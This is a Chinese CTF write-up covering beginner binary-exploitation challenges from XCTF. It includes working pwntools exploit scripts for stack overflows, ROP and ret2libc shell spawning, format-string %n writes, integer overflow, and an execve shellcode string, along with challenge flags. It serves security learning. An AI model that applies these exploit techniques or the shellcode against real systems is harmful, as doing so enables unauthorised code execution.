参考的一系列文章:
https://blog.csdn.net/weixin_44319142/article/details/89077831
感谢!
后面每题也根据不同的writeup写出来的
get_shell
直接运行就可以了,看代码就发现会直接运行system函数,所以直接运行就ok
直接拿到权限了,看来还是要写 exp,远程连接下
cyberpeace{057e59b4709123764babf99e2f5422c5}
–·
level2 (NX-ROP入门)
参考:
[原创]XCTF攻防世界 level2
攻防世界——pwn(2)
level2
解题
题目比较简单
只开了NX,函数也就一个,并且有read函数,存在溢出。
可以通过
在IDA中,找到字符串窗口,可以搜索到“/bin/sh”的地址。
因为本身有system函数,也能找到sysytem函数的地址。这就为解题减轻难度。
还有就是填充的长度,可以通过IDA中的【ebp-88h】知道栈空间为88h再加上ebp的4(32位下),所以填充大小就是88h+4
原理方面就是,想办法让他调用system(“/bin/sh”)
payload: 填充数据+p32(system_addr)+p32(sys的返回地址,实际上无所谓)+p32(/bin/sh作为sys的参数)
即:我们可以构造一个system(“/bin/sh”)的伪栈帧,vulnerable_function()执行结束后返回到我们构造的伪栈帧去执行system(“bin/sh”),这样就可以获取shell。(需要注意一点,因为我们的目的是通过system(“bin/sh”)来获取shell,所以函数执行完后的返回地址可以任意。)
exp
l2.py
1 | from pwn import * |
level2.py
1 | #! /usr/bin/env python |
补充:无/bin/sh
补充一下,如果里面没有/bin/sh要自己写入的话
利用read函数写入”/bin/sh”的重点是构造这个payload模块:
padding1 + address of read + address of system + p32(0)+p32(addr_bss)+p32(10)
其中,address of system为read函数调用完后的返回地址,p32(0),p32(addr_bss),p32(10)为传给read函数的三个参数,p32(addr_bss)将存入”/bin/sh\x00”。
原文链接:https://blog.csdn.net/weixin_44319142/article/details/89107325
如果是64位的话就不一样了
同样可以利用IDA来查找system的地址以及/bin/sh的地址
NX机制及绕过策略-ROP64位
level2
攻防世界level2 x_64位
level0
只有NX,64位
看代码,没啥东西,一个write一个read。存在system
exp1
2
3
4
5
6
7from pwn import *
p = process('./level0')
call_system = 0x400596
payload = 0x88*'a' + p64(call_system)
p.sendline(payload)
p.interactive()
hello_pwn
checksec
只有NX,可以尝试64位NX绕过
看到代码里 有个if条件,估计是从这里入手
可以看到只要满足if条件,就可以获取到flag
可以看出,这个地址和上面read函数的参数连着的,只差4,所以填充4就好
exp1
2
3
4
5
6
7
8
9
10
11
12
13#! /usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
elf = ELF('./hello_pwn')
payload = 'A' *4 + p32(1853186401)
io = remote("111.198.29.45",41431)
io.sendlineafter("bof",payload)
io.interactive()
io.close()
born
64位
这题看它的伪代码就可以知道要让v5这个值等于对应的数值就可以了。但是他在前面又不让你等于这个数,怎么办?
认真看可以发现他是先输入v5的值,再输入v4的值,那么一开始v5的值不等于1926就好了,然后用v4溢出覆盖v5(地址刚好连续,只差8),这个时候就可以满足条件了
通过IDA 可以发现这两个值的地址(var20和var18)
exp:1
2
3
4
5
6
7
8
9
10#! /usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
#p = process("./born")
p=remote("111.198.29.45",59781)
p.sendlineafter("Birth?",str(1999))
payload="A"*8+p32(1926)
p.sendlineafter("What's Your Name?\n",payload)
p.interactive()
1 | from pwn import * |
CGfsb
这是一道格式字符串漏洞
只要pwnme=8,就会cat flag
这里有个printf格式化字符串漏洞,利用这个可以将pwnme(地址直接用IDA就找到了)的值给覆盖成题目需要的值8
用gdb调试,发现它的位置在11(实际上是10因为第一个是我们的格式化字符串,这个是不会打印出来的)
payload:
pwnme 的地址占了4位数,然后我们在输入4个a就有8位了。
exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15from pwn import *
context.log_level="debug"
elf=ELF("./CGfsb")
#p=process("./CGfsb")
p=remote("111.198.29.45",54477)
pwnme=0x0804a068
p.sendlineafter("name:","aaaa")
payload=p32(pwnme)+'aaaa%10$n'
p.sendlineafter("please:",payload)
p.interactive()
CGpwn2
这题好像是一个简单的溢出
有用的代码是这里
这里有个fget函数,以及存在漏洞的gets函数。
这里的name是全局变量,name 的地址0804A080
可以看到这题有system函数,但是没有/bin/sh,要想办法构造,这里可以直接写道全局变量name中,到时候system函数调用时,再用它的首地址作为参数就行了。
利用get的溢出,让eip为system的地址,这里可以使用pattern工具来找溢出点IDA上可以看到s是ebp-26h也可以知道是26h+4=42。
exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19#!usr/bin/python
from pwn import *
context.log_level = 'debug'
#io = remote("111.198.29.45",39409)
io = process("./cgpwn2")
elf=ELF("./cgpwn2")
sys_addr=elf.symbols['system']
#sys_addr = 0x08048420
io.recvuntil("your name")
io.sendline("/bin/sh")
bin_sh_addr=0x0804a080
payload='a'*42+p32(sys_addr)+p32(0)+p32(bin_sh_addr)
io.recvuntil("leave some message here:")
io.sendline(payload)
io.interactive()
int_overflow
惯例看下,32位的,有NX
关键地方在这,前面的没有用。
从题目名字我们就可以猜到是整数溢出。结合代码中的strlen(s)这个函数。
我们需要进入到else里,所以我们要让输入的长度在4-8之间。那应该是要利用溢出。
最后一个 result = strcpy(&dest, s);
应该要利用上。感觉是利用最后一个溢出,调用system函数,毕竟程序里有,但是没有/bin/sh,而且没有read函数让你读进去
看题解发现,没有找到一个重要的函数,在函数窗口,有一个 what_is_this这个函数。点开一看,这就是flag所在。所以想办法调用这个函数就结束了。
通过char dest; // [esp+4h] [ebp-14h]
,溢出点是14h+4=24。eip地址写成我们需要的what_is_this函数的4位数地址
那我们此时输入的数已经有28(24+4)个了,已经不满足if条件,所以我们就要让字节数溢出
计算需要填充的长度:s的长度v3unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3最大值为2的8次方-1=255.260由于溢出(无符号数回绕)实际上是4.因此我们实际的payload总共长度为260-265. 以260为例:后面需要填充的字节就为260-28
exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18#! /usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#elf=ELF("./int_over_flow")
#p=process("int_overflow")
p=remote("111.198.29.45",56199)
system_addr=0x0804868b
p.sendlineafter("Your choice:","1")
p.sendlineafter("Please input your username:","aaaa")
##到达目标函数,进入正题
payload="A"*24+p32(system_addr)+'A'*(260-24-4) ##260~265
p.sendlineafter("Please input your passwd:",payload)
p.interactive()
string
找突破口
执行这条语句的条件是*a1 == a1[1],a1为传入的参数,
回溯发现a1即sub_400D72函数传入的v4,而v4 = (__int64)v3,其中
*v3 = 68; #即v3[0] = 68;
v3[1] = 85;
也就是说要使a1 == a1[1],则需要v3 == v3[1]。
还有可以利用的代码
通过这个格式化字符串漏洞,我们可以令v3的值等于v3【1】从而满足if 的条件进入
题目已经告诉我们v4的地址了。那我们修改v4的值就好了
之后我们想清楚逻辑关系,写exp
补充:
strcmp函数是string compare(字符串比较)的缩写,用于比较两个字符串并根据比较结果返回整数。基本形式为strcmp(str1,str2),若str1=str2,则返回零;若str1<str2,则返回负数;若str1>str2,则返回正数。 [1-2]
通过逻辑关系知道,我们前面分别要输入east和1达到sub_400BB9函数。也就是格式化字符串漏洞那里
v3addr = int(p.recvuntil(“\n”),16) #获取v3地址,后16
寻找格式化字符串的位置
我们先是 puts("'Give me an address'");
这行后面输了个5,然后再puts("And, you wish is:");
这后面输了AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
可以知道我们两次输入的地方分别在7,8这两个位置。如果我们把地址放在7这里,那就写$7n;如果是后面输入的地方,那就写$8n.
可以写exp了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22#-*-coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#p = process('./string')
p = remote("111.198.29.45","56536")
p.recvuntil("secret[0] is ")
addr = int(p.recvuntil("\n"),16) #v3地址
log.success("addr:"+hex(addr))
p.sendlineafter("be:\n","LH")
p.sendlineafter("up?:\n","east")
p.sendlineafter("leave(0)?:\n","1")
##前面都为逻辑关系,现在进入关键部分
p.sendlineafter("address\'\n", str(addr))
p.sendlineafter("is:\n", "%85c%7$n") ##将addr所指向的v3,改写成85
shellcode="\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
p.sendlineafter("SPELL\n",shellcode)
p.interactive()
p.close()
至于将地址和字符串写在同一个print漏洞函数这个办法,我没成功,在组合payload的时候报错。
参考文章:https://www.jianshu.com/p/457520f97a76
gues_number
解题
这题好像开的挺多
看下代码,发现只要连续猜对10次v7取的随机数,就拿到flag了。这里的突破口应该是在rand,seed这样的伪随机数上。
这里存在一个gets漏洞函数,可以利用溢出。但是题目有candy和NX所以,不能直接栈溢出到sub_C3E函数
查看地址
可以看到v7和seed的地址是连续的,差20h
用v7覆盖掉seed来控制随机数。
理一下思路,利用v7覆盖seed[0],使seed[0]已知,然后循环,然后直接拿flag就好了
关于rand和srand
随机函数生成的随机数并不是真的随机数,他们只是在一定范围内随机,实际上是一段数字的循环,这些数字取决于随机种子。在调用rand()函数时,必须先利用srand()设好随机数种子,如果未设随机数种子,rand()在调用时会自动设随机数种子为1。
对于该题目,我们将随机种子设置为0或1都可,参考文件中的循环来写脚本。
关于ctype库与dll
我们使用python标准库中自带的ctypes模块进行python和c的混合编程
libc共享库
可以使用ldd查找1
2
3
4linhua@linhua-virtual-machine:~/桌面/攻防世界/guess_nume$ ldd guess_num
linux-vdso.so.1 (0x00007fffaf6de000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9acf1ca000)
/lib64/ld-linux-x86-64.so.2 (0x00007f9acf7be000)
也可以在脚本中通过elf文件查找
elf = ELF(‘./guess_num’)
libc = elf.libc
参考:
链接:https://www.jianshu.com/p/0bc6c65addfd
level3
32位
题目的代码很简洁,主要就两行
也没有system函数,和其他获取falg的函数。应该是要用其他的函数,来间接获取的system的地址。
read函数这里可以溢出,
参考https://www.jianshu.com/p/4b3fd7328f20
思路分析
无libc文件,无sys函数,无binsh字符串,有read和write函数,很明显的ret2libc
原理:system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。用工具来找到对应的libc文件
具体思路:
第一次溢出返回到write函数执行write(1,write_got,4)得到write的真实地址,计算得到system跟”/bin/sh”的真实地址,然后再返回到vulnerable_function函数,第二次回到溢出点,覆盖返回地址到system执行system(“/bin/sh”)
exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23# -*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
p=remote("111.198.29.45",44145)
elf = ELF("./level3")
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
got_write = elf.got['write']
vul_func = 0x0804844b #这里用main_addr = elf.symbols['main'] 返回主函数也是可以滴
payload = 'A' * 140 + p32(plt_write) + p32(vul_func) + p32(1) + p32(got_write) + p32(4)
p.recvuntil('Input:\n')#这句千万不能漏了,逻辑出问题就会执行不了,这句的意思就是调用执行嘛,然后就把payload写进去就可以达到目的哟
p.send(payload)
write_addr = u32(p.recv(4))
print hex(write_addr)
libc = LibcSearcher('write', write_addr)
offset = write_addr - libc.dump('write') ##感觉这个就像是libc_base,libc的基地址,我这么理解的
system_addr = offset + libc.dump('system')
binsh_addr = offset + libc.dump('str_bin_sh')
payload1 = 'a' * 140 + p32(system_addr) + p32(plt_read) + p32(binsh_addr)
p.recvuntil('Input:\n')
p.send(payload1)
p.interactive()